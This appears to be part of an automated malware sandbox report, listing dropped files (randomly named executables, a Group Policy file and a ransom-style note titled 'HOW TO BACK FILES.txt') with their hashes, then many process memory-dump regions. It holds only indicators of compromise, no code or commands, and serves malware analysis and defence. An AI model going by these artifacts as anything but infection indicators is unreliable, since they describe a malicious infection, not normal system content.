871352624fdb3dbfc502f6330fad63b51068f5bfe806dee2be4f2206580ef08d

SHA512
b9804ab2257f88fb90a845a1bc8e5c5335327318de42245fccc18cf6a1eb80d7c3eab646e272ecda85bfc47eba8c8359f509c0f94021ee51634dc44e2f1700b7

Download Submit
C:\Users\Admin\Pictures\B5ORyue9YfCTYgX3ssPMi2QE.exe

Filesize
7KB

MD5
77f762f953163d7639dff697104e1470

SHA1
ade9fff9ffc2d587d50c636c28e4cd8dd99548d3

SHA256
d9e15bb8027ff52d6d8d4e294c0d690f4bbf9ef3abc6001f69dcf08896fbd4ea

SHA512
d9041d02aaca5f06a0f82111486df1d58df3be7f42778c127ccc53b2e1804c57b42b263cc607d70e5240518280c7078e066c07dec2ea32ec13fb86aa0d4cb499

Download Submit
C:\Users\Admin\Pictures\U3mkXHCrBXb11u2lOpF29ovV.exe

Filesize
800KB

MD5
ed818dde26cfadc733c54f3f0f52fe34

SHA1
753e8018af236d4c8b2889b00aefe6bc46aee725

SHA256
0ab28127aad4d3ca04188077d590830b22b540859e7ba12216366c129a9df220

SHA512
50f9c2577f33f71df47755672ac07faca6ded2252e516057ee13534c8800c0a31a12e242000e9ceff5b2b441d319fd0082b7f288a837a23e031be0ab8c3cba3e

Download Submit
C:\Users\Admin\Pictures\e9S91KcST5WAe1cLxGRnN3WO.exe

Filesize
9.8MB

MD5
15e7cc568611decda017546e0deac552

SHA1
d7462886312e041f012c43e2fb14ee5606904289

SHA256
73e23e096558e7eb4f0744b44a7f2d2292a8290c12754c494c08d556982967c1

SHA512
5697258633c454811ced175a581c7d95146b8f4ad2ebab0b6f599f956fc2ce113303c611ad3e471c33b8d86b918e758fb2948bb1d8bdb6a3ab7724769cdf4dca

Download Submit
C:\Users\Admin\Pictures\n5iRSINSSBZXYf0VMxnR1Gr6.exe

Filesize
1.5MB

MD5
cd4acedefa9ab5c7dccac667f91cef13

SHA1
bff5ce910f75aeae37583a63828a00ae5f02c4e7

SHA256
dd0e8944471f44180dd44807d817e0b8a1c931fc67d48278cdb7354d98567e7c

SHA512
06fae66da503eb1b9b4fbe63a5bb98c519a43999060029c35fe289e60b1cb126a6278c67ce90f02e05b893fcaea6d54f9deb65bc6da82561487a7754f50c93d1

Download Submit
C:\Windows\System32\GroupPolicy\GPT.INI

Filesize
127B

MD5
93b3886bce89b59632cb37c0590af8a6

SHA1
04d3201fe6f36dc29947c0ca13cd3d8d2d6f5137

SHA256
851dd2bb0f555afaef368f1f761154da17360aeea4c01b72e43bf83264762c9f

SHA512
fc7baef346b827c3a1338819baa01af63d2d4c31f3f7e17b6f6b72adab70de81872a67e8f3c1a28453abb595dbac01819a9bcff0710e9651a45deaf2f89e65fb

Download Submit
F:\$RECYCLE.BIN\S-1-5-21-2539840389-1261165778-1087677076-1000\HOW TO BACK FILES.txt

Filesize
910B

MD5
7bedef248f53d5e88b0331c5e60d6c7b

SHA1
f169031559ad3f1764a1b8383365e4306324fd1f

SHA256
c6874c83f8457ffe9cb51c8ef2afd8ca5939687091aa17070cbe3955b8b144df

SHA512
d1dca1af7159d938db557aa9853322193c3a61aeac2ec814c98940517a2446b352193aa99721becc59e10a4b62b05525a0d4ff95d67e6c27e3390fcbe24972b9

Download Submit
memory/336-177-0x00007FF9FB9B3000-0x00007FF9FB9B5000-memory.dmp

Filesize
8KB

Download
memory/336-176-0x00000000008E0000-0x00000000008E8000-memory.dmp

Filesize
32KB

Download
memory/336-5438-0x00007FF9FB9B3000-0x00007FF9FB9B5000-memory.dmp

Filesize
8KB

Download
memory/1320-5432-0x000000001E590000-0x000000001E62C000-memory.dmp

Filesize
624KB

Download
memory/1320-5433-0x000000001E630000-0x000000001E692000-memory.dmp

Filesize
392KB

Download
memory/1792-5466-0x0000000007530000-0x00000000075A6000-memory.dmp

Filesize
472KB

Download
memory/1792-5467-0x0000000006760000-0x000000000676C000-memory.dmp

Filesize
48KB

Download
memory/1792-5468-0x0000000007510000-0x000000000752E000-memory.dmp

Filesize
120KB

Download
memory/1792-5243-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/1792-5429-0x0000000006770000-0x000000000680C000-memory.dmp

Filesize
624KB

Download
memory/1792-5425-0x0000000005B30000-0x0000000005B3A000-memory.dmp

Filesize
40KB

Download
memory/3092-29022-0x0000000007750000-0x00000000077F3000-memory.dmp

Filesize
652KB

Download
memory/3092-28718-0x000000006E600000-0x000000006E64C000-memory.dmp

Filesize
304KB

Download
memory/3092-32200-0x00000000067B0000-0x00000000067C4000-memory.dmp

Filesize
80KB

Download
memory/3092-31243-0x0000000007A30000-0x0000000007A41000-memory.dmp

Filesize
68KB

Download
memory/3840-34988-0x0000000000AC0000-0x0000000000E78000-memory.dmp

Filesize
3.7MB

Download
memory/3840-35055-0x0000000005950000-0x0000000005B90000-memory.dmp

Filesize
2.2MB

Download
memory/3840-35109-0x0000000006CC0000-0x0000000006EE4000-memory.dmp

Filesize
2.1MB

Download
memory/3840-35143-0x0000000005090000-0x00000000050AC000-memory.dmp

Filesize
112KB

Download
memory/4064-34173-0x0000000000B10000-0x0000000000FD1000-memory.dmp

Filesize
4.8MB

Download
memory/4064-34689-0x0000000000B10000-0x0000000000FD1000-memory.dmp

Filesize
4.8MB

Download
memory/4564-203-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-5109-0x0000000006C30000-0x0000000006C88000-memory.dmp

Filesize
352KB

Download
memory/4564-235-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-221-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-5478-0x0000000006F30000-0x0000000006F84000-memory.dmp

Filesize
336KB

Download
memory/4564-209-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-229-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-206-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-5110-0x0000000006C90000-0x0000000006CDC000-memory.dmp

Filesize
304KB

Download
memory/4564-201-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-199-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-227-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-225-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-239-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-241-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-243-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-223-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-211-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-245-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-247-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-219-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-213-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-207-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-215-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-251-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-253-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-255-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-257-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-249-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-231-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-217-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-237-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-197-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-194-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-233-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-195-0x0000000006860000-0x0000000006A78000-memory.dmp

Filesize
2.1MB

Download
memory/4564-193-0x0000000006B20000-0x0000000006BB2000-memory.dmp

Filesize
584KB

Download
memory/4564-192-0x0000000007030000-0x00000000075D4000-memory.dmp

Filesize
5.6MB

Download
memory/4564-191-0x0000000006860000-0x0000000006A7E000-memory.dmp

Filesize
2.1MB

Download
memory/4564-190-0x0000000005510000-0x000000000572C000-memory.dmp

Filesize
2.1MB

Download
memory/4564-189-0x00000000007E0000-0x0000000000A20000-memory.dmp

Filesize
2.2MB

Download
memory/4696-35449-0x00000000064A0000-0x00000000064C2000-memory.dmp

Filesize
136KB

Download
memory/4852-5255-0x00000230B23B0000-0x00000230B23D2000-memory.dmp

Filesize
136KB

Download
memory/5016-30386-0x0000000000400000-0x0000000000592000-memory.dmp

Filesize
1.6MB

Download
memory/5204-8600-0x0000000006F10000-0x0000000006F21000-memory.dmp

Filesize
68KB

Download
memory/5204-8589-0x0000000006F90000-0x0000000007026000-memory.dmp

Filesize
600KB

Download
memory/5204-8629-0x0000000007050000-0x000000000706A000-memory.dmp

Filesize
104KB

Download
memory/5204-8628-0x0000000006F50000-0x0000000006F64000-memory.dmp

Filesize
80KB

Download
memory/5204-8627-0x0000000006F40000-0x0000000006F4E000-memory.dmp

Filesize
56KB

Download
memory/5204-8036-0x0000000005A00000-0x0000000005A4C000-memory.dmp

Filesize
304KB

Download
memory/5204-8572-0x0000000006960000-0x0000000006992000-memory.dmp

Filesize
200KB

Download
memory/5204-8630-0x0000000007030000-0x0000000007038000-memory.dmp

Filesize
32KB

Download
memory/5204-8586-0x0000000006D80000-0x0000000006D8A000-memory.dmp

Filesize
40KB

Download
memory/5204-8584-0x0000000006940000-0x000000000695E000-memory.dmp

Filesize
120KB

Download
memory/5204-8585-0x0000000006BB0000-0x0000000006C53000-memory.dmp

Filesize
652KB

Download
memory/5204-8573-0x000000006AC20000-0x000000006AC6C000-memory.dmp

Filesize
304KB

Download
memory/5424-5169-0x0000014218960000-0x000001421896A000-memory.dmp

Filesize
40KB

Download
memory/5424-5239-0x0000014232F60000-0x0000014232FC8000-memory.dmp

Filesize
416KB

Download
memory/5504-5170-0x0000000005400000-0x0000000005422000-memory.dmp

Filesize
136KB

Download
memory/5504-5186-0x0000000006190000-0x00000000061AE000-memory.dmp

Filesize
120KB

Download
memory/5504-5154-0x0000000002B90000-0x0000000002BC6000-memory.dmp

Filesize
216KB

Download
memory/5504-5217-0x00000000066A0000-0x00000000066BA000-memory.dmp

Filesize
104KB

Download
memory/5504-5216-0x00000000079D0000-0x000000000804A000-memory.dmp

Filesize
6.5MB

Download
memory/5504-5157-0x0000000005480000-0x0000000005AA8000-memory.dmp

Filesize
6.2MB

Download
memory/5504-5172-0x0000000005B90000-0x0000000005BF6000-memory.dmp

Filesize
408KB

Download
memory/5504-5171-0x0000000005B20000-0x0000000005B86000-memory.dmp

Filesize
408KB

Download
memory/5504-5178-0x0000000005C00000-0x0000000005F54000-memory.dmp

Filesize
3.3MB

Download
memory/5504-5187-0x00000000061B0000-0x00000000061FC000-memory.dmp

Filesize
304KB

Download
memory/5648-31178-0x0000000000B10000-0x0000000000FD1000-memory.dmp

Filesize
4.8MB

Download
memory/5816-5156-0x000000001C170000-0x000000001C216000-memory.dmp

Filesize
664KB

Download
memory/5816-5155-0x000000001BBF0000-0x000000001C0BE000-memory.dmp

Filesize
4.8MB

Download
memory/5960-7471-0x0000000005460000-0x00000000057B4000-memory.dmp

Filesize
3.3MB

Download
memory/5960-6897-0x0000000000400000-0x000000000069E000-memory.dmp

Filesize
2.6MB

Download
memory/6060-16272-0x0000000000400000-0x0000000000642000-memory.dmp

Filesize
2.3MB

Download
memory/6060-18904-0x0000000009C70000-0x0000000009C8E000-memory.dmp

Filesize
120KB

Download
memory/6060-18899-0x000000000AD00000-0x000000000AEC2000-memory.dmp

Filesize
1.8MB

Download
memory/6060-18643-0x000000000A600000-0x000000000AB2C000-memory.dmp

Filesize
5.2MB

Download
memory/6060-18735-0x0000000009E40000-0x0000000009F4A000-memory.dmp

Filesize
1.0MB

Download
memory/6108-32230-0x00000269843C0000-0x00000269843CA000-memory.dmp

Filesize
40KB

Download
memory/6148-20263-0x0000000000EC0000-0x0000000000EC8000-memory.dmp

Filesize
32KB

Download
memory/6236-27165-0x0000000000400000-0x0000000000408000-memory.dmp

Filesize
32KB

Download
memory/6292-22582-0x0000000005BA0000-0x0000000005BEC000-memory.dmp

Filesize
304KB

Download
memory/6292-22474-0x0000000005410000-0x0000000005422000-memory.dmp

Filesize
72KB

Download
memory/6292-20469-0x0000000004F70000-0x0000000004FDE000-memory.dmp

Filesize
440KB

Download
memory/6292-22539-0x0000000005470000-0x00000000054AC000-memory.dmp

Filesize
240KB

Download
memory/6292-22453-0x00000000060B0000-0x00000000066C8000-memory.dmp

Filesize
6.1MB

Download
memory/6292-22469-0x0000000005A90000-0x0000000005B9A000-memory.dmp

Filesize
1.0MB

Download
memory/6292-20427-0x0000000004E40000-0x0000000004EB0000-memory.dmp

Filesize
448KB

Download
memory/6460-32949-0x0000000000D80000-0x0000000000DD2000-memory.dmp

Filesize
328KB

Download
memory/7060-27891-0x0000000000320000-0x00000000007E1000-memory.dmp

Filesize
4.8MB

Download
memory/7060-31053-0x0000000000320000-0x00000000007E1000-memory.dmp

Filesize
4.8MB

Download
memory/7464-33446-0x00000000001A0000-0x0000000000661000-memory.dmp

Filesize
4.8MB

Download
memory/7464-33729-0x00000000001A0000-0x0000000000661000-memory.dmp

Filesize
4.8MB

Download
memory/7924-33218-0x0000000000520000-0x0000000000AFB000-memory.dmp

Filesize
5.9MB

Download
memory/7924-32395-0x0000000000520000-0x0000000000AFB000-memory.dmp

Filesize
5.9MB

Download
memory/8072-23971-0x00000210376D0000-0x00000210376DA000-memory.dmp

Filesize
40KB

Download
memory/8072-25511-0x0000021037B00000-0x0000021037B06000-memory.dmp

Filesize
24KB

Download
memory/8072-25516-0x0000021051BF0000-0x0000021051C4C000-memory.dmp

Filesize
368KB

Download
memory/8220-31348-0x0000000000810000-0x000000000087C000-memory.dmp

Filesize
432KB

Download
memory/8332-35701-0x0000000005EF0000-0x0000000005F00000-memory.dmp

Filesize
64KB

Download
memory/8332-34020-0x0000000007960000-0x000000000797A000-memory.dmp

Filesize
104KB

Download
memory/8332-35738-0x0000000006130000-0x000000000618A000-memory.dmp

Filesize
360KB

Download
memory/8332-33560-0x0000000000420000-0x00000000004A8000-memory.dmp

Filesize
544KB

Download
memory/8592-31116-0x0000000000A80000-0x0000000000AD2000-memory.dmp

Filesize
328KB

Download
memory/8924-31792-0x00000000073C0000-0x0000000007410000-memory.dmp

Filesize
320KB

Download
memory/9156-30844-0x0000000000820000-0x0000000000E28000-memory.dmp

Filesize
6.0MB

Download
memory/9156-37341-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/9156-33199-0x0000000000820000-0x0000000000E28000-memory.dmp

Filesize
6.0MB

Download